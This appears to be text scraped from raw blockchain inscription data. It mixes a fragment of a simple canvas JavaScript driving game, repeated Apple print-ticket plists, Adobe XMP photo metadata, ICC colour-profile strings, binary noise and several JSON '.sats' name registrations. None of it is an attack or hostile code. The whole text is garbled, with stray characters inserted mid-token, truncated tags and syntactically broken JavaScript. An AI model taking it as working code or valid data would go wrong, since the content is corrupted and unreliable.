{ this.canvas.width = 2100; this.canvas.height = 5100; this.context = this.canvas.getContext("2d"); document.body.insertBefore(this.canvas, document.body.childNodes[0]); this.frameNo = 0; this.interval = setInterval(updateGameArea, 20); window.addEventListener('keydown', function (e) { e.preventDefault(); myGameArea.keys = (myGameArea.keys || []); myGameArea.keys[M e.keyCode] = (e.type == "keydown"); window.addEventListener('keyup', function (e) { myGameArea.keys[e.keyCode] = (e.type == "keydown"); stop : function() { clearInterval(this.interval); clear : function() { this.context.clearRect(0, 0, this.canvas.width, this.canvas.height); function component(width, height, color, x, y, type) { this.type = type; this.width = width; this.height = height; this.moveAngle = 0.21; this.update = function() { ctx = myGameArea.context; ctx.translate(this.x, this.y); ctx.rotate(this.angle); ctx.fillStyle = color; ctx.fillRect(this.width / -2, this.height / -2, this.width, this.height); ctx.restore(); this.newPos = function() { this.angle += this.moveAngle * Math.PI / 180; this.x += this.speed * Math.sin(this.angle);M this.y -= this.speed * Math.tan(this.angle); function updateGameArea() { // myGameArea.clear(); myGamePiece.moveAngle = 0; myGamePiece2.moveAngle = 0; myGamePiece3.moveAngle = 0; myGamePiece.speed = 2; myGamePiece2.speed = 2; myGamePiece3.speed = 2; if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece.moveAngle = -1; } if (myGameArea.keys && myGameArea.keys[39]) {myGamePiece.moveAngle = 1; } if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece.speed= M if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece.speed= -1.21; } if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece2.moveAngle = -1; } if (myGameArea.keys && myGameArea.keys[39]) {myGamePiece2.moveAngle = 1; } if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece2.speed= 1; } if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece2.speed= -1; } if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece3.moveAngle = -1; } if (myGameArea.keys && myGameArea.keys[39])M {myGamePiece3.moveAngle = 1; } if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece3.speed= 1; } if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece3.speed= -1; } myGamePiece.newPos(); myGamePiece.update(); myGamePiece2.newPos(); myGamePiece2.update(); myGamePiece3.newPos(); myGamePiece3.update(); <p> ...... ↑ ← → ↓.......</p> %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz Adobe Photoshop CS3 Macintosh <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMOrientation</key> <integer>1</integer> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.stateFM <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.subTicket.paper_info_ticket</key> <key>PMPPDPaperCodeName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</strinM <key>com.apple.print.ticket.itemArray</key> <key>PMPPDPaperCodeName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMPPDTranslationStringPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDTranslationStringPaperName</key> <string>A4</stringM <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMTiogaPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMTiogaPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPM <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPM <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPPDPaperDimensioM <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <integer>0</integer> <integer>0</integer> <real>595</real> <real>842</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> .apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PaperInfoTicket</string> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type<M <string>com.apple.print.PageFormatTicket</string> http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 4M 6.276720, Mon Feb 19 2007 22:13:43 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:06:37+02:00" xap:MM odifyDate="2023-03-01T01:06:37+02:00" xap:MetadataDate="2023-03-01T01:06:37+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:DE7DF176BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:DD7DF176BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,M 531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;93DF019C8598E2C60A6C9C72B4CA5A16" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9M ,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:CC151B6A8CB1ED1187E0DFFF4327866D" stRef:documentID="uuid:CB151B6A8CB1ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour space - sRGB ,Reference Viewing Condition in IEC61966-2.1 ,Reference Viewing Condition in IEC61966-2.1 text/plain;charset=utf-8 "name": "52000.sats", Adobe Photoshop CS3 Macintosh <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string>M <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> .print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</strinM <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.subTicket.paper_info_ticket</key> <key>PMPPDPaperCodeName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> >PMPPDPaperCodeName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMPPDTranslationStringPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDTranslationStringPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMTiogaPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMTiogaPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <key>com.apple.print.ticket.creator</key> m.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> om.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <key>com.apple.print.ticket.creator</key> <string>com.applM e.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <integer>0</integer> <integer>0</integer> <real>595</real> <real>842</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticM <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.priM nt.PaperInfo.PMUnadjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.M print.PaperInfo.PMUnadjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PapeM rInfo.ppd.PMPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PaperInfoTicket</string> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PageFormatTicket</string> http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://nsM .adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:08+02:00" xap:ModifyDate="2023-03-01T01:05:08+02:00" xap:MetadataDate="2023-03-01T01:05:08+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshM op:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:A282AB42BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:90210741BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;9840EB07EAC80627FD033C2438DF40DA" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:CoM lorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:2FF2A08B64B0ED1187E0DFFF43278M 66D" stRef:documentID="uuid:2EF2A08B64B0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour space - sRGB ,Reference Viewing Condition in IEC61966-2.1 Condition in IEC61966-2.1 image/jpeg;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((( %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM image/jpeg;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((( %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"stg.sats"}h! &iCCPAdobe RGB (1998) iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.1644M 88, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)" xmp:CreateDate="2023-03-01T05:31:27-04:00" xmp:MetadataDate="2023-03-01T14:48:46-04:00" xmp:MoM difyDate="2023-03-01T14:48:46-04:00" xmpMM:InstanceID="xmp.iid:7e24163f-2fee-2b49-9c0e-c1a02052c4be" xmpMM:DocumentID="adobe:docid:photoshop:8ca7712b-a524-b74f-8d17-6d7e52db2dda" xmpMM:OriginalDocumentID="xmp.did:26c43945-3ebd-7e4e-9476-2efd8d35b46c" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="Adobe RGB (1998)"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:26c43945-3ebd-7e4e-9476-2efd8d35b46c" stEvt:when="2023-03-01T05:31:27-04:00" stEvt:softwareAgent="AM dobe Photoshop 22.0 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7e24163f-2fee-2b49-9c0e-c1a02052c4be" stEvt:when="2023-03-01T14:48:46-04:00" stEvt:softwareAgent="Adobe Photoshop 22.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! QBBBBBBBBBBBBBBBBBBBB ?)2222222222222222222222222222222222222222222222222222222 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% fffffffffffffffffffffffffffffffffffffffffffffffffffffff Mbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa =o maaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa chaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaq %%%%%%%%%%%%%%%%%%%%%%%%%% o(00000000000000000000000000000000000000000000008 ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>> Rc\2&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% rhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh| text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0705.sats"}h! $Q@AAAAAAAAAAAAAAAAAAAAAAAAAA text/plain;charset=utf-8 "name": "avengers.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"woods.sats"}h! text/plain;charset=utf-8 C{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "erc.sats" Adobe Photoshop CS3 Macintosh ml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.stateFlag</key> <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMOrientation</key> <integer>1</integer> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticM <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> .apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.stateFlag</key> <key>com.apple.print.subTicket.paper_info_ticket</key> <key>PMPPDPaperCodeName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDPaperCodeName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMPPDTranslationStringPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDTranslationStringPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMTiogaPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMTiogaPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <integer>0</integer> <real>595</real> <real>842</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlagM <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlM <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</M <integer>0</integer> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.ticket.APIVersion</keyM <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PaperInfoTicket</string> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PageFormatTicket</string> http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 "> <rdM f:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:04:27+02:00" xap:ModifyDate="2023-03-01T01:04:27+02:00" xap:MetadaM taDate="2023-03-01T01:04:27+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:EC07B129BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:EB07B129BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,M 272,305,315,33432;55744E349444E0F82E2FFCF200F5C8BC" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27M ,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:E01E9D6858B1ED1187E0DFFF4327866D" stRef:documentID="uuid:DF1E9D6858B1ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour spaceM ,Reference Viewing Condition in IEC61966-2.1 ,Reference Viewing Condition in IEC61966-2.1 iTXtXML:com.adobe.xmp 